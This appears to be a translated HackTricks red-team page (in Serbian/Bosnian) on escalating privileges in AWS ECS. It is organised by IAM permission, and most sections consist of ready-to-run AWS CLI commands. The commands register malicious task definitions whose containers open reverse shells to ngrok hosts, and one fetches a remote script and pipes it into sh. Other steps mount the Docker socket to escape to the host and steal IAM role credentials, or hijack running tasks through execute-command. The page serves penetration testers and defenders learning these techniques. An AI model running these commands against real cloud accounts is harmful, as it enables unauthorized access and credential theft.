AWS - ECS Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

ECS

Više informacija o ECS-u možete pronaći u:

pageAWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Napadač koji zloupotrebljava dozvole iam:PassRole, ecs:RegisterTaskDefinition i ecs:RunTask u ECS-u može generisati novu definiciju zadatka sa zlonamernim kontejnerom koji krade metapodatke o akreditacijama i pokrenuti ga.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potencijalni uticaj: Direktno povećanje privilegija na drugu ECS ulogu.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Kao i u prethodnom primeru, napadač koji zloupotrebljava dozvole iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask u ECS-u može generisati novu definiciju zadatka sa zlonamernim kontejnerom koji krade metapodatke o akreditacijama i pokrenuti je. Međutim, u ovom slučaju, potrebno je da postoji instanca kontejnera za pokretanje zlonamernog zadatka.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potencijalni uticaj: Direktno povećanje privilegija za bilo koju ECS ulogu.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Kao i u prethodnom primeru, napadač koji zloupotrebljava dozvole iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService ili ecs:CreateService u ECS-u može generisati novu definiciju zadatka sa zlonamernim kontejnerom koji krade metapodatke o akreditacijama i pokrenuti ga kreiranjem nove usluge sa najmanje 1 pokrenutim zadatkom.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potencijalni uticaj: Direktno povećanje privilegija za bilo koju ECS ulogu.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Ovaj scenario je sličan prethodnim, ali bez dozvole iam:PassRole. Ovo je i dalje interesantno jer ako možete pokrenuti proizvoljan kontejner, čak i bez uloge, možete pokrenuti privilegovan kontejner da pobegnete na čvor i ukrasti EC2 IAM ulogu i uloge drugih ECS kontejnera koji se izvršavaju na čvoru. Čak možete prisiliti druge zadatke da se izvršavaju unutar EC2 instance koju ste kompromitovali kako biste ukrali njihove akreditive (kao što je opisano u odeljku Povećanje privilegija na čvoru).

Ovaj napad je moguć samo ako ECS klaster koristi EC2 instance, a ne Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Napadač sa dozvolama ecs:ExecuteCommand, ecs:DescribeTasks može izvršavati komande unutar pokrenutog kontejnera i izvlačiti IAM ulogu koja je pridružena kontejneru (potrebne su dozvole za opisivanje jer je potrebno pokrenuti aws ecs execute-command). Međutim, da bi to uradio, instanca kontejnera mora imati pokrenut ExecuteCommand agent (što nije podrazumevano).

Stoga, napadač može pokušati:

  • Pokušati izvršiti komandu u svakom pokrenutom kontejneru

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • Ako ima ecs:RunTask, pokreni zadatak sa aws ecs run-task --enable-execute-command [...]

  • Ako ima ecs:StartTask, pokreni zadatak sa aws ecs start-task --enable-execute-command [...]

  • Ako ima ecs:CreateService, kreiraj uslugu sa aws ecs create-service --enable-execute-command [...]

  • Ako ima ecs:UpdateService, ažuriraj uslugu sa aws ecs update-service --enable-execute-command [...]

Primjeri ovih opcija se mogu pronaći u prethodnim sekcijama ECS privesc.

Potencijalni uticaj: Privesc na drugu ulogu koja je povezana sa kontejnerima.

ssm:StartSession

Provjerite na stranici o ssm privesc kako možete iskoristiti ovu dozvolu za privesc na ECS:

pageAWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Provjerite na stranici o ec2 privesc kako možete iskoristiti ove dozvole za privesc na ECS:

pageAWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: Da li je moguće registrovati instancu iz drugog AWS naloga tako da zadaci budu pokrenuti na mašinama koje kontroliše napadač??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Testiraj ovo

Napadač sa dozvolama ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet i ecs:DescribeTaskSets može kreirati zlonamjerni skup zadataka za postojeću ECS uslugu i ažurirati primarni skup zadataka. To omogućava napadaču da izvršava proizvoljni kod unutar usluge.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Potencijalni uticaj: Izvršavanje proizvoljnog koda u pogođenoj usluzi, potencijalno utičući na njenu funkcionalnost ili izvlačenje osetljivih podataka.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated